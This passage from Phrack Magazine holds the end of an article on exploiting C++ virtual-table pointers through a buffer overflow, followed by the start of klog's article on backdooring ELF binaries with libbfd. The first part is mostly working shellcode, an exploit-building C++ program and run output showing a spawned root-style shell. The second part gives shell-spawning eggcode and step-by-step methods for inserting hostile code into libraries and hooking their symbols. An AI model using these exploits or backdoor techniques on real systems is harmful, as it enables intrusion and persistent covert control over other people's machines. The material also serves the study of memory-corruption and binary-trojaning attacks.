
| +‑‑>‑‑+ | a copy on the stack)

| | | ==

+‑‑‑(2)‑‑>‑‑‑‑‑‑‑‑+ | BBB... B

3)‑>+ +‑‑> old method

Where: 9 represent NOP bytes (90h).

T represents bytes forming the word of the offset who will be added to the pointer on the stack (strange handling ;).

M represents the address in our buffer of the beginning of our shellcode.

S represents the address in our buffer of the "/bin/sh" string. 0 represented 90h bytes, who will be initialized to 00h at run time (necessary for exec ()).

/bin/sh represents the "/bin/sh" string, without any 00h termination byte.

A represents a byte of our shellcode (principally to run the shell, then to copy the stackcode on the stack and to run it). B represents a byte of our stackcode (principally to reset our buffer with a new string, and to run the original method to continue the execution of the original program.

newstring represents the "newstring" string, that will be recopied in the buffer after execution of the shell, to continue the execution. V represents a byte of the VPTR, that must point back to the beginning of our buffer (to our VTABLE).

L represents the byte that will be copy after the VPTR, and that will be a 0hh byte.

In a more detailed manner, here are the content of our shellcode and stackcode:

pushl %ebp //save existing EBP

movl %esp,%ebp //stack frame creation

xorl %eax,%eax //EAX=0

movb $0x31,%al //EAX=$StackCodeSize (size of the code

who will be copied to the stack)

subl %eax,%esp //creation of a local variable to

contain our stackcode

pushl %edi

pushl %esi

pushl %edx

pushl %ecx

pushl %ebx //save registers

pushf //save flags

cld //direction flag=incrementation

xorl %eax,%eax //EAX=0

movw $0x101,%ax //EAX=$AddThis (value added for

calculating This on the stack)

subl %eax,0x8(%ebp) //we substract this value from the

current This value on the stack, to

restore the original This.

xorl %eax,%eax //EAX=0

movl $0x804a874,%edi //EDI=$BufferAddress+$NullOffset

address of NULL dword in our

buffer)

stosl %eax,%es:(%edi) //we write this NULL in the buffer

movl $0x804a87f,%edi //EDI=$BufferAddress+$BinSh00Offset

address of 00h from "/bin/sh")

stosb %al,%es:(%edi) //we write this 00h at the end of

bin/sh"

movb $0x2,%al

int $0x80 //fork()

xorl %edx,%edx //EDX=0

cmpl %edx,%eax

jne 0x804a8c1 //if EAX=0 then jump to LFATHER

EAX=0 if father process)

movb $0xb,%al //else we are the child process

movl $0x804a878,%ebx //EBX=$BufferAddress+$BinShOffset

address of "/bin/sh")

movl $0x804a870,%ecx//ECX=$BufferAddress+$BinShAddressOffset

adresse of address of "/bin/sh")

xorl %edx,%edx //EDX=0h (NULL)

int $0x80 //exec() "/bin/sh"

LFATHER:

movl %edx,%esi //ESI=0

movl %edx,%ecx//ECX=0

movl %edx,%ebx//EBX=0

notl %ebx//EBX=0xFFFFFFFF

movl %edx,%eax//EAX=0

movb $0x72,%al//EAX=0x72

int $0x80 //wait() (wait an exit from the shell)

xorl %ecx,%ecx//ECX=0

movb $0x31,%cl//ECX=$StackCodeSize

movl $0x804a8e2,%esi//ESI=$BufferAddress+$StackCodeOffset

address of beginning of the

stackcode)

movl %ebp,%edi //EDI point to the end of or local

variable

subl %ecx,%edi //EDI point to the beginning of or

local variable

movl %edi,%edx //EDX also point to the beginning of

or local variable

repz movsb %ds:(%esi),%es:(%edi) //copy our stackcode into our local

variable on the stack

jmp *%edx //run our stackcode on the stack

stackcode:

movl $0x804a913,%esi//ESI=$BufferAddress+$NewBufferOffset

point to the new string we want to

rewrite in the buffer)

movl $0x804a860,%edi //EDI=$BufferAddress (point to the

beginning of our buffer)

xorl %ecx,%ecx//ECX=0

movb $0x9,%cl //ECX=$NewBufferSize (length of the

new string)

repz movsb %ds:(%esi),%es:(%edi) //copy the new string at the

beginning of our buffer

xorb %al,%al//AL=0

stosb %al,%es:(%edi) //put a 00h at the end of the string

movl $0x804a960,%edi//EDI=$BufferAddress+$VPTROffset

address of VPTR)

movl $0x8049730,%eax //EAX=$VTABLEAddress (adresse of the

original VTABLE from our class)

movl %eax,%ebx//EBX=$VTABLEAddress

stosl %eax,%es:(%edi) //correct the VPTR to point to the

original VTABLE

movb $0x29,%al //AL=$LastByte (byte following the

VPTR in memory)

stosb %al,%es:(%edi) //we correct this byte

movl 0xc(%ebx),%eax//EAX=*VTABLEAddress+IAddress*4

EAX take the address of the

original method in the original

VTABLE).

popf

popl %ebx

popl %ecx

popl %edx

popl %esi

popl %edi //restore flags and registers

movl %ebp,%esp

popl %ebp //destroy the stack frame

jmp *%eax //run the original method

We now must code a BufferOverflow() function that is going to "compile" us the shellcode and the stackcode, and to create the structure of our buffer. Here are parameters that we should pass to this function:

‑ BufferAddress = address of our buffer in memory.

‑ IAddress = index in the VTABLE of the 1st method that will be executed. ‑ VPTROffset = offset in our buffer of the VPTR to overwrite.

‑ AddThis = value that will be added to the This pointer on the stack, because of the "strange handling".

‑ VTABLEAddress = address of the original VTABLE of our class (coded in the executable).

‑ *NewBuffer = a pointer to the new chain that we want to place in our buffer to normally continue the program.

‑ LastByte = the original byte following the VPTR in memory, that is overwritten at the time of the copy of our buffer in the original buffer, because of the 00h.

Here is the resulting code of the program (bo4.cpp):

#include <stdio.h>

#include <string.h>

#include <malloc.h>

#define BUFFERSIZE 256

class BaseClass {

private:

char Buffer[BUFFERSIZE];

public:

void SetBuffer(char *String) {

strcpy(Buffer,String);

}

virtual void PrintBuffer() {

printf("%s\n",Buffer);

}

};

class MyClass1:public BaseClass {

public:

void PrintBuffer() {

printf("MyClass1: ");

BaseClass::PrintBuffer();

}

};

class MyClass2:public BaseClass {

public:

void PrintBuffer() {

printf("MyClass2: ");

BaseClass::PrintBuffer();

}

};

char *BufferOverflow(unsigned long BufferAddress,int IAddress,int VPTROffset, unsigned short AddThis,unsigned long VTABLEAddress,char *NewBuffer,char LastByte) {

char *CBuf;

unsigned long *LBuf;

unsigned short *SBuf;

char BinShSize,ShellCodeSize,StackCodeSize,NewBufferSize; unsigned long i, MethodAddressOffset,BinShAddressOffset,NullOffset,BinShOffset,BinSh00Offset, ShellCodeOffset,StackCodeOffset, NewBufferOffset,NewBuffer00Offset,

LastByteOffset;

char *BinSh="/bin/sh";

CBuf=(char*)malloc(VPTROffset+4+1);

LBuf=(unsigned long*)CBuf;

BinShSize=(char)strlen(BinSh);

ShellCodeSize=0x62;

StackCodeSize=0x91+2‑0x62; NewBufferSize=(char)strlen(NewBuffer);

MethodAddressOffset=IAddress*4; BinShAddressOffset=MethodAddressOffset+4; NullOffset=MethodAddressOffset+8; BinShOffset=MethodAddressOffset+12; BinSh00Offset=BinShOffset+(unsigned long)BinShSize; ShellCodeOffset=BinSh00Offset+1; StackCodeOffset=ShellCodeOffset+(unsigned long)ShellCodeSize; NewBufferOffset=StackCodeOffset+(unsigned long)StackCodeSize; NewBuffer00Offset=NewBufferOffset+(unsigned long)NewBufferSize; LastByteOffset=VPTROffset+4;

for (i=0;i<VPTROffset;i++) CBuf[i]='\x90'; //NOPs

SBuf=(unsigned short*)&LBuf[2];

*SBuf=AddThis; //added to the This pointer on the stack

LBuf=(unsigned long*)&CBuf[MethodAddressOffset]; *LBuf=BufferAddress+ShellCodeOffset; //shellcode's address

LBuf=(unsigned long*)&CBuf[BinShAddressOffset]; *LBuf=BufferAddress+BinShOffset; //address of "/bin/sh"

memcpy(&CBuf[BinShOffset],BinSh,BinShSize); //"/bin/sh" string

//shellcode:

i=ShellCodeOffset;

CBuf[i++]='\x55'; //pushl %ebp

CBuf[i++]='\x89';CBuf[i++]='\xE5'; //movl %esp,%ebp

CBuf[i++]='\x31';CBuf[i++]='\xC0'; //xorl %eax,%eax

CBuf[i++]='\xB0';CBuf[i++]=StackCodeSize; //movb $StackCodeSize,%al

CBuf[i++]='\x29';CBuf[i++]='\xC4'; //subl %eax,%esp

CBuf[i++]='\x57'; //pushl %edi

CBuf[i++]='\x56'; //pushl %esi

CBuf[i++]='\x52'; //pushl %edx

CBuf[i++]='\x51'; //pushl %ecx

CBuf[i++]='\x53'; //pushl %ebx

CBuf[i++]='\x9C'; //pushf

CBuf[i++]='\xFC'; //cld

CBuf[i++]='\x31';CBuf[i++]='\xC0'; //xorl %eax,%eax

CBuf[i++]='\x66';CBuf[i++]='\xB8'; //movw $AddThis,%ax

SBuf=(unsigned short*)&CBuf[i];*SBuf=AddThis;i=i+2; CBuf[i++]='\x29';CBuf[i++]='\x45';CBuf[i++]='\x08'; //subl %eax,0x8(%ebp)

CBuf[i++]='\x31';CBuf[i++]='\xC0'; //xorl %eax,%eax

CBuf[i++]='\xBF'; //movl $BufferAddress+$NullOffset,%edi

LBuf=(unsigned long*)&CBuf[i];*LBuf=BufferAddress+NullOffset;i=i+4;

CBuf[i++]='\xAB'; //stosl %eax,%es:(%edi)

CBuf[i++]='\xBF'; //movl $BufferAddress+$BinSh00Offset,%edi

LBuf=(unsigned long*)&CBuf[i];*LBuf=BufferAddress+BinSh00Offset;i=i+4;

CBuf[i++]='\xAA'; //stosb %al,%es:(%edi)

CBuf[i++]='\xB0';CBuf[i++]='\x02'; //movb $0x2,%al

CBuf[i++]='\xCD';CBuf[i++]='\x80'; //int $0x80 (fork())

CBuf[i++]='\x31';CBuf[i++]='\xD2'; //xorl %edx,%edx

CBuf[i++]='\x39';CBuf[i++]='\xD0'; //cmpl %edx,%eax

CBuf[i++]='\x75';CBuf[i++]='\x10'; //jnz +$0x10 (‑> LFATHER)

CBuf[i++]='\xB0';CBuf[i++]='\x0B'; //movb $0xB,%al

CBuf[i++]='\xBB'; //movl $BufferAddress+$BinShOffset,%ebx

LBuf=(unsigned long*)&CBuf[i];*LBuf=BufferAddress+BinShOffset;i=i+4; CBuf[i++]='\xB9'; //movl $BufferAddress+$BinShAddressOffset,%ecx

LBuf=(unsigned long*)&CBuf[i];*LBuf=BufferAddress+BinShAddressOffset;i=i+4; CBuf[i++]='\x31';CBuf[i++]='\xD2'; //xorl %edx,%edx

CBuf[i++]='\xCD';CBuf[i++]='\x80'; //int $0x80 (execve())

LFATHER:

CBuf[i++]='\x89';CBuf[i++]='\xD6'; //movl %edx,%esi

CBuf[i++]='\x89';CBuf[i++]='\xD1'; //movl %edx,%ecx

CBuf[i++]='\x89';CBuf[i++]='\xD3'; //movl %edx,%ebx

CBuf[i++]='\xF7';CBuf[i++]='\xD3'; //notl %ebx

CBuf[i++]='\x89';CBuf[i++]='\xD0'; //movl %edx,%eax

CBuf[i++]='\xB0';CBuf[i++]='\x72'; //movb $0x72,%al

CBuf[i++]='\xCD';CBuf[i++]='\x80'; //int $0x80 (wait())

CBuf[i++]='\x31';CBuf[i++]='\xC9'; //xorl %ecx,%ecx

CBuf[i++]='\xB1';CBuf[i++]=StackCodeSize; //movb $StackCodeSize,%cl

CBuf[i++]='\xBE'; //movl $BufferAddress+$StackCodeOffset,%esi

LBuf=(unsigned long*)&CBuf[i];*LBuf=BufferAddress+StackCodeOffset;i=i+4;

CBuf[i++]='\x89';CBuf[i++]='\xEF'; //movl %ebp,%edi

CBuf[i++]='\x29';CBuf[i++]='\xCF'; //subl %ecx,%edi

CBuf[i++]='\x89';CBuf[i++]='\xFA'; //movl %edi,%edx

CBuf[i++]='\xF3';CBuf[i++]='\xA4'; //repz movsb %ds:(%esi),%es:(%edi)

CBuf[i++]='\xFF';CBuf[i++]='\xE2'; //jmp *%edx (stackcode)

//stackcode:

CBuf[i++]='\xBE'; //movl $BufferAddress+$NewBufferOffset,%esi

LBuf=(unsigned long*)&CBuf[i];*LBuf=BufferAddress+NewBufferOffset;i=i+4;

CBuf[i++]='\xBF'; //movl $BufferAddress,%edi

LBuf=(unsigned long*)&CBuf[i];*LBuf=BufferAddress;i=i+4; CBuf[i++]='\x31';CBuf[i++]='\xC9'; //xorl %ecx,%ecx

CBuf[i++]='\xB1';CBuf[i++]=NewBufferSize; //movb $NewBufferSize,%cl

CBuf[i++]='\xF3';CBuf[i++]='\xA4'; //repz movsb %ds:(%esi),%es:(%edi)

CBuf[i++]='\x30';CBuf[i++]='\xC0'; //xorb %al,%al

CBuf[i++]='\xAA'; //stosb %al,%es:(%edi)

CBuf[i++]='\xBF'; //movl $BufferAddress+$VPTROffset,%edi

LBuf=(unsigned long*)&CBuf[i];*LBuf=BufferAddress+VPTROffset;i=i+4;

CBuf[i++]='\xB8'; //movl $VTABLEAddress,%eax

LBuf=(unsigned long*)&CBuf[i];*LBuf=VTABLEAddress;i=i+4; CBuf[i++]='\x89';CBuf[i++]='\xC3'; //movl %eax,%ebx

CBuf[i++]='\xAB'; //stosl %eax,%es:(%edi)

CBuf[i++]='\xB0';CBuf[i++]=LastByte; //movb $LastByte,%al

CBuf[i++]='\xAA'; //stosb %al,%es:(%edi)

CBuf[i++]='\x8B';CBuf[i++]='\x43';

CBuf[i++]=(char)4*IAddress; //movl $4*Iaddress(%ebx),%eax

CBuf[i++]='\x9D'; //popf

CBuf[i++]='\x5B'; //popl %ebx

CBuf[i++]='\x59'; //popl %ecx

CBuf[i++]='\x5A'; //popl %edx

CBuf[i++]='\x5E'; //popl %esi

CBuf[i++]='\x5F'; //popl %edi

CBuf[i++]='\x89';CBuf[i++]='\xEC'; //movl %ebp,%esp

CBuf[i++]='\x5D'; //popl %ebp

CBuf[i++]='\xFF';CBuf[i++]='\xE0'; //jmp *%eax

memcpy(&CBuf[NewBufferOffset],NewBuffer,(unsigned long)NewBufferSize); //insert the new string into the buffer

LBuf=(unsigned long*)&CBuf[VPTROffset];

*LBuf=BufferAddress; //address of our VTABLE

CBuf[LastByteOffset]=0; //last byte (for strcpy())

return CBuf;

}

void main() {

BaseClass *Object[2];

unsigned long *VTABLEAddress;

Object[0]=new MyClass1;

Object[1]=new MyClass2;

printf("Object[0] address = %X\n",(unsigned long)&(*Object[0])); VTABLEAddress=(unsigned long*) ((char*)&(*Object[0])+256); printf("VTable address = %X\n",*VTABLEAddress);

Object[0]‑>SetBuffer(BufferOverflow((unsigned long)&(*Object[0]),3,BUFFERSIZE, 0x0101,*VTABLEAddress,"newstring",0x29));

Object[1]‑>SetBuffer("string2");

Object[0]‑>PrintBuffer();

Object[1]‑>PrintBuffer();

}

Now, we are ready to compile and to check...

rix@pentium:~/BO > gcc ‑o bo4 bo4.cpp

rix@pentium:~/BO > bo4

adresse Object[0] = 804A860

adresse VTable = 8049730

sh‑2.02$ exit

exit

MyClass1: newstring

MyClass2: string2

rix@pentium:~/BO >

And as foreseen, our shell executes himself, then the program continue its execution, with a new string in the buffer ("newstring ")!!!

Conclusion

==========

To summarize, let's note that the basis technique requires the following conditions for success:

‑ a buffer of a certain minimal size

‑ suid program

‑ executable heap and/or executable stack (according to techniques) ‑ to know the address of the beginning of the buffer (on the heap or on the stack)

‑ to know the offset from the beginning of the buffer of the VPTR (fixed for all executions)

‑ to know the offset in the VTABLE of the pointer to the 1st method executed after the overflow (fixed for all executions)

‑ to know the address of the VTABLE if we want to continue the execution of the program correctly.

I hope this article will have once again show you how pointers (more and more used in modern programming ) can be very dangerous in some particular cases.

We notice that some languages as powerful as C++, always include some weakness, and that this is not with a particular language or tools that a program becomes secured, but mainly because of the knowledge and expertise of its conceivers...

Thanks to: route, klog, mayhem, nite, darkbug.

Backdooring binary objects

‑ P H R A C K M A G A Z I N E ‑

Volume 0xa Issue 0x38

05.01.2000

0x09[0x10]

|‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑ BACKDOORING BINARY OBJECTS ‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑|

|‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

|‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑ klog <klog@promisc.org> ‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑|

‑‑‑‑| Introduction

Weakening a system in order to keep control over it (or simply to alter some of its functionality) has been detailed in many other papers. From userland code modification to trojan kernel code, most of the common backdooring techniques are either too dirty, or just not portable enough. How can we create a standard and clean way to backdoor binary files? The right answer to this question is just the same as for "How can we create a standard and clean way to debug and analyze binary files?". The GNU Project found the answer even before we could ask the question.

ipdev:~$ ldd /usr/bin/nm

libbfd.so.2.6.0.14 => /usr/lib/libbfd.so.2.6.0.14 libc.so.5 => /lib/libc.so.5.3.12

ipdev:~$

‑‑‑‑| The BFD.

The Binary File Descriptor. Becoming the de facto standard in binary file analysis, manipulation and linking, libbfd will support about any file format and architecture you can own. Although it is mostly intended for ELF support, its frontend will enable you to transparently modify objects with various formats like COFF, AOUT or IEEE. At this very moment, it is probably your best bet for shared library backdooring.

‑‑‑‑| Overview

The following article will show you the bliss of backdoor portability by describing both static and shared ELF object backdooring methods. It will be divided into the logical steps of the operation which are the code writing procedure, the code insertion procedure, and finally, the hooking procedure.

QUICK NOTE:

Before diving in, the reader needs to know a few things... First of all, libbfd is *usually* found on most systems, including linux, and *bsd. If it is not, it is included in the GNU binutils distribution. Fetch it. Also, it is important to know that libbfd relies on the libiberty library, which you would be lucky to find on your target host. It is small, and you might want to consider making it a part of your portable backdooring toolkit. Finally, it might happen that BFD does *not* provide the required facilities to completely insert our malicious code in specific situations. Thus, we might have to use object format specific techniques in order to complete our goal.

‑‑‑‑| Writing the hostile code

This section will look familiar to most of you shellcode writers out there. As a matter of fact, it is probably the most painful step in the portability of our backdooring technique. However, it should be reasonably painfree for the average hacker who has some knowledge of assembly on common architectures.

The easiest way to write our code would be to do it in asm, using the "eggcode" method, which enables us to insert the hostile code in unknown environments without any fear of breaking its internal links. By using relative addressing, it becomes possible to write code which would be completely independent from its environment, as seen in most exploit shellcodes. An example of eggcode (for those who never touched one before) would be the following:

ipdev:~/tmp/bfd$ cat eggcode.s

.text

.align 4

.globl main

.type main,@function

main:

xorl %eax,%eax

xorl %edx,%edx

movb $0xb,%al

jmp .jumpme

.callme:

popl %ebx

leal 0x8(%ebx),%ecx

movl %ebx,0x8(%ebx)

movl %edx,0xc(%ebx)

int $0x80

.jumpme:

call .callme

.string "/bin/sh\0"

ipdev:~/tmp/bfd$

However, when it comes to backdoors, where function call redirection is often (always?) involved, such a technique becomes inapplicable. As a matter of fact, that kind of backdoor would render the hooked function unusable, since no redirection to the original function can be done on specific conditions. For that purpose, we will have to find a way to refer to functions located in our target object.

Fortunately for us, there is a pretty easy way to do such a thing. The only condition is that the referenced symbol must be located within the library we are backdooring (not imported from somewhere else). Let's suppose that we want to backdoor a function called huhu() in some library, and that the backdoor will have to redirect the call to another function called haha() within the same library. In this example, haha() will be passed a string which will be printed on the screen.

Before being able to find out what address we want to call from our backdoor, we will have to determine the position of haha() within the targeted library...

ipdev:~/tmp/bfd$ nm lib.so

00001214 A _DYNAMIC

00001208 A _GLOBAL_OFFSET_TABLE_

00001264 A __bss_start

00001264 A _edata

00001264 A _end

00000200 A _etext

000001d8 t gcc2_compiled.

000001d8 T haha

000001ec T huhu

U printf

ipdev:~/tmp/bfd$

We can see that it will map into memory at address 0x1d8. To deduce the address we want to call in our backdoor, we will have to consider the code relocation which will be performed when inserting our backdoor into the library. The resulting address would be 1d8‑[reloc_offset]. That in mind, le'ts write the eggcode of our backdoor:

ipdev:~/tmp/bfd$ cat > eggcode.s

.text

.align 4

.globl main

.type main,@function

main:

nop

nop

nop

nop

nop

nop

pushl %ebp

movl %esp,%ebp

jmp string

callit: call 0x1d8‑0x1214‑0x10

addl $4,%esp

movl %ebp,%esp

popl %ebp

ret

string:

call callit

.string "whore\n"

^D

ipdev:~/tmp/bfd$

In this example, the relocation offset of our code is 0x1214. The subtraction of 0x10 is required because the called address in the code is considered by the compiler as relative to the position of the call instruction, when we call an absolute address. As you probably guessed, the call instruction ends at address 0x10 within the eggcode. Also, you might have noticed all the nops at the beginning of the code. This is purely to avoid any padding or miscalculation problem. As in all exploit writing, we are never careful enough.

‑‑‑‑| Inserting the hostile code

Now comes the part where libbfd will become useful. As a matter of fact, bfds have the capability of describing a complete binary file (from head to tail) more or less quite accurately. Accuracy, in this case, refers to the ability to interpret various data from the object file, which is highly influenced by the transparency required by libbfd when it comes to such a task. Thus, multiple format‑specific features will be sacrificed in order to protect the portability of the bfd interface. However, we do not need to worry about that for the moment, since our task strictly consists of malicious code insertion. Fortunately, our trojan insertion method will only rely on the presence of multiple sections within an object, which is common on most architectures. Before proceeding to this, we will have to take a look at what APIs libbfd offers us.

At the time of this writing (bfd version < 3.0), libbfd does not permit direct modification of an object file. The two most useful functions libbfd does offer us are bfd_openr() and bfd_openw(). They both require the object file name and the architecture type as arguments, and they both return a descriptor to the allocated bfd. When a bfd is being opened in read mode (openr), none of its structures can be dumped into the physical file. On the other hand, when it is opened in write mode (openw), none if its data can be read. For this reason, in order to insert our backdoor, we will have to copy the binary file, section by section, and perform the data insertion while copying the host section of our target file.

The process of copying the object file is composed of several steps, including the reproduction of the file's start address, flags, architecture, symbol table, debugging information and various sections. Since a sample backdooring program code called shoveit.c is appended at the end of this article, we will only take a look at the interesting functions of libbfd when it comes to inserting our backdoor into the destination object (the hooking of the various symbol tables is described in the next sections). For informational purposes, let's take a look at the transparent libbfd view of a binary file section:

typedef struct sec

{

const char *name;

int index;

struct sec *next;

flagword flags;

#defineSEC_NO_FLAGS 0x000

#define SEC_ALLOC 0x001

#define SEC_LOAD 0x002

#define SEC_RELOC 0x004

#define SEC_BALIGN 0x008

#define SEC_READONLY 0x010

#define SEC_CODE 0x020

#define SEC_DATA 0x040

unsigned int user_set_vma : 1;

unsigned int reloc_done : 1;

unsigned int linker_mark : 1;

bfd_vma vma;

bfd_vma lma;

bfd_size_type _cooked_size;

bfd_size_type _raw_size;

bfd_vma output_offset;

struct sec *output_section;

unsigned int alignment_power;

struct reloc_cache_entry *relocation;

struct reloc_cache_entry **orelocation;

unsigned reloc_count;

file_ptr filepos;

file_ptr rel_filepos;

file_ptr line_filepos;

PTR userdata;

unsigned char *contents;

alent *lineno;

unsigned int lineno_count;

file_ptr moving_line_filepos;

int target_index;

PTR used_by_bfd;

struct relent_chain *constructor_chain;

bfd *owner;

struct symbol_cache_entry *symbol;

struct symbol_cache_entry **symbol_ptr_ptr;

struct bfd_link_order *link_order_head;

struct bfd_link_order *link_order_tail;

} asection ;

All the bfd represented sections of a binary file are linked together with the *next pointer, and point back to their parent bfd with a *owner pointer. Most of the other fields are used either by libbfd's internal procedures, or by the frontend macros. They are pretty much self‑explanatory; however, for more information on what a given field is intended for, refer to the bfd.h header file.

In order to copy sections from one bfd to another, you first must register a handler with the bfd_map_over_sections() function, which will be executed for each section of the input bfd. This mapping function must be passed the bfd of the file in question, and a pointer to the handling function. An optional "obj" pointer can also be passed to this handling function, which must have the following prototype:

handler(bfd *, asection *, void *);

In order to first create the destination sections which will correspond to the sections of our source object, we will register a setup_section() function, which will set each destination section with its respective vma, lma, size, alignment and flags. As you can see in the code below, we must pay particular attention to keep enough free space in the section which will host our hostile code such that both our backdoor and the original section will comfortably fit. Also, once the backdoor has been placed into a section, all of the following section's vma and lma are readjusted so that our hostile code will not be overwritten by those sections once mapped into virtual memory.

Once the creation of our destination sections is done, we will have to copy the symbol table of our source file, which must be done before any section content is reproduced. As was said before, this will be examined in the following sections.

Finally, we are ready to copy the data from one section to its respective destination (which is performed by the copy_section() handler in the code below). Data can be read from and written to a bfd section by using the bfd_get_section_contents and bfd_set_section_contents respectively. Both of these functions require the following arguments:

‑ the target/source bfd,

‑ section pointers,

‑ a pointer to the buffer (which will be filled with/dumped to the pointed section),

‑ the offset within the section,

‑ the size of the buffer.

The data will be physically dumped into the object file once the bfd_close() function has been called.

In a usual situation where a section is modified while being copied, we would have to relocate all the absolute references to symbols located in the sections following the altered section. However, this operation can be avoided if the host section is among the last ones to be mapped into virtual memory, after which no other section is referenced to with absolute addressing. If we take a quick look at the following example:

ipdev:~/tmp/bfd$ objdump ‑h /usr/lib/crt1.o

/usr/lib/crt1.o: file format elf32‑i386

Sections:

Idx Name Size VMA LMA File off Algn 0 .text 00000080 00000000 00000000 00000040 2**4 CONTENTS, ALLOC, LOAD, RELOC, READONLY, CODE 1 .data 00000004 00000000 00000000 000000c0 2**2 CONTENTS, ALLOC, LOAD, DATA

2 .bss 00000000 00000000 00000000 000000c4 2**2 ALLOC

ipdev:~/tmp/bfd$

We would probably consider placing our code into the data section of the crt1.o program header. However, the situation may become quite different for shared libraries:

ipdev:~/tmp/bfd$ objdump ‑h lib.so

lib.so: file format elf32‑i386

Sections:

Idx Name Size VMA LMA File off Algn 0 .hash 0000003c 00000094 00000094 00000094 2**2 CONTENTS, ALLOC, LOAD, READONLY, DATA 1 .dynsym 000000a0 000000d0 000000d0 000000d0 2**2 CONTENTS, ALLOC, LOAD, READONLY, DATA 2 .dynstr 00000050 00000170 00000170 00000170 2**0 CONTENTS, ALLOC, LOAD, READONLY, DATA 3 .rel.text 00000018 000001c0 000001c0 000001c0 2**2 CONTENTS, ALLOC, LOAD, READONLY, DATA 4 .text 00000028 000001d8 000001d8 000001d8 2**2 CONTENTS, ALLOC, LOAD, READONLY, CODE 5 .rodata 00000006 00000200 00000200 00000200 2**0 CONTENTS, ALLOC, LOAD, READONLY, DATA 6 .data 00000000 00001208 00001208 00000208 2**2 CONTENTS, ALLOC, LOAD, DATA

7 .got 0000000c 00001208 00001208 00000208 2**2 CONTENTS, ALLOC, LOAD, DATA

8 .dynamic 00000050 00001214 00001214 00000214 2**2 CONTENTS, ALLOC, LOAD, DATA

9 .bss 00000000 00001264 00001264 00000264 2**2 ALLOC

10 .note 00000014 00000000 00000000 00000264 2**0 CONTENTS, READONLY

11 .comment 00000012 00000000 00000000 00000278 2**0 CONTENTS, READONLY ipdev:~/tmp/bfd$

In this case, our best bet would probably be the global offset table (got) of the library, since we do not want to break absolute links in the preceding sections. Whenever possible, we will try not to alter special sections like dynsym, dynstr or dynamic, which are often analyzed by tools like nm or objdump.

‑‑‑‑| Standard symbol hooking

Symbol alteration is probably the most important part of the backdooring procedure. As a matter of fact, once our code is written and pushed into the target object, we must find a way to trigger its execution whenever the function we want to backdoor is called by a trusting process.

This first type of symbol hooking is quite interesting when we try to backdoor static objects. The standard symbol table of a binary file is easily accessible thru the bfd interface, and therefore, this operation wont both be simple and portable. Each of the symbols is canonically represented by libbfd like this:

typedef struct symbol_cache_entry

{

struct _bfd *the_bfd;

const char *name;

symvalue value;

flagword flags;

#define BSF_NO_FLAGS 0x00

#define BSF_LOCAL 0x01

#define BSF_GLOBAL 0x02

#define BSF_EXPORT BSF_GLOBAL

#define BSF_DEBUGGING 0x08

#define BSF_FUNCTION 0x10

#define BSF_KEEP 0x20

#define BSF_KEEP_G 0x40

#define BSF_WEAK 0x80

#define BSF_SECTION_SYM 0x100

#define BSF_OLD_COMMON 0x200

#define BFD_FORT_COMM_DEFAULT_VALUE 0

#define BSF_NOT_AT_END 0x400

#define BSF_CONSTRUCTOR 0x800

#define BSF_WARNING 0x1000

#define BSF_INDIRECT 0x2000

#define BSF_FILE 0x4000

#define BSF_DYNAMIC 0x8000

#define BSF_OBJECT 0x10000

struct sec *section;

union

{

ptr p;

bfd_vma i;

} udata;

} asymbol;

Unlike sections, symbol entries are located using an array of pointers, but they also point back to both their parent bfd (using *the_bfd) and their parent section (using *section). Symbols we will be interested in hooking will have the BSF_FUNCTION flag on. The name and the relative value of the symbol are pointed and stored in the name and value fields, respectively (as you could have guessed). We will use both of them in order to locate our targeted symbol.

In order to read the symbol table of an object file, we will first have to get its size by using the bfd_get_symtab_upper_bound() (whose only argument is the bfd of our target object). Once this is done, we will be able to malloc a buffer and fill it with the object's symbol table using bfd_canonicalize_symtab(). This bfd function will receive the object's bfd followed by the malloc'ed buffer as arguments, and return the number of canonicalized symbols read.

When processing the table in order to hook our specific symbol (which we will seek by value instead of name, for reasons we will see in the next section), we will have to consider the fact that each symbol's value has been modified by libbfd to look relative to their respective section's beginning. For that reason, the first symbol of a random section will always seem to have a value of 0x0, although its pretty different physically.

Once the symbol table has been altered at will, it is possible to dump it back into its object file using the bfd_set_symtab() function, which requires as argument the object's bfd, the pointer to the symbol table (the malloc'ed buffer) and the number of symbols to be written.

‑‑‑‑| Dynamic symbol hooking

When it comes to hooking shared objects the hooking process becomes quite different. First of all, shared objects use a different symbol table than the one used for static linking. Under ELF, these symbols are stored in the ".dynsym" section, but remain represented in the same way a static symbol is. Also, all the names of the symbols stored in the ".dynsym" section of the object are kept in a different section, called ".dynstr".

However, this is far from being the most problematic part. Although you will be able to use libbfd to read dynamic symbols in the same way you read standard symbols, there does not seem to be any dynamic symbol table dumping function implemented in libbfd yet. In order words, it means that our wonderfully portable insertion/hooking combo technique will lose pretty much of its portability in this operation. However, since dynamic linking is almost only (in the most interesting cases) used in ELF, the sacrifice is not too expensive.

Now that we know we will have to manually modify the dynamic symbol table, we have a small practical dilemma. Since the dynamic symbol table is located within a section of our target object, we will probably want to perform dynamic symbol hooking while copying each of the file's section. The dilemma is that, as said before, the symbol names are stored in a different section of the file. Two possibilities are offered to us. The first one is to load both tables into memory and resolve the links between the *st_name fields of the .dynsym section and the strings of the .dynstr section. However, since we are lazy, we will probably prefer the alternative solution, where we will locate each symbol by its original value instead of its name (as noted in the previous section).

Now that we are ready to process the dynamic symbol table manually, it would be required to know what an ELF symbol entry looks like:

typedef struct elf32_sym {

Elf32_Word st_name;

Elf32_Addr st_value;

Elf32_Word st_size;

unsigned char st_info;

unsigned char st_other;

Elf32_Half st_shndx;

} Elf32_Sym;

As in the bfd transparent symbol structure, most of the fields we are interested in are pretty self‑explanatory. If we now take a look at what the .dynsym section looks like, we will see this:

ipdev:~/tmp/bfd$ objdump ‑‑full‑contents ‑‑section=.dynsym lib.so

lib.so: file format elf32‑i386

Contents of section .dynsym:

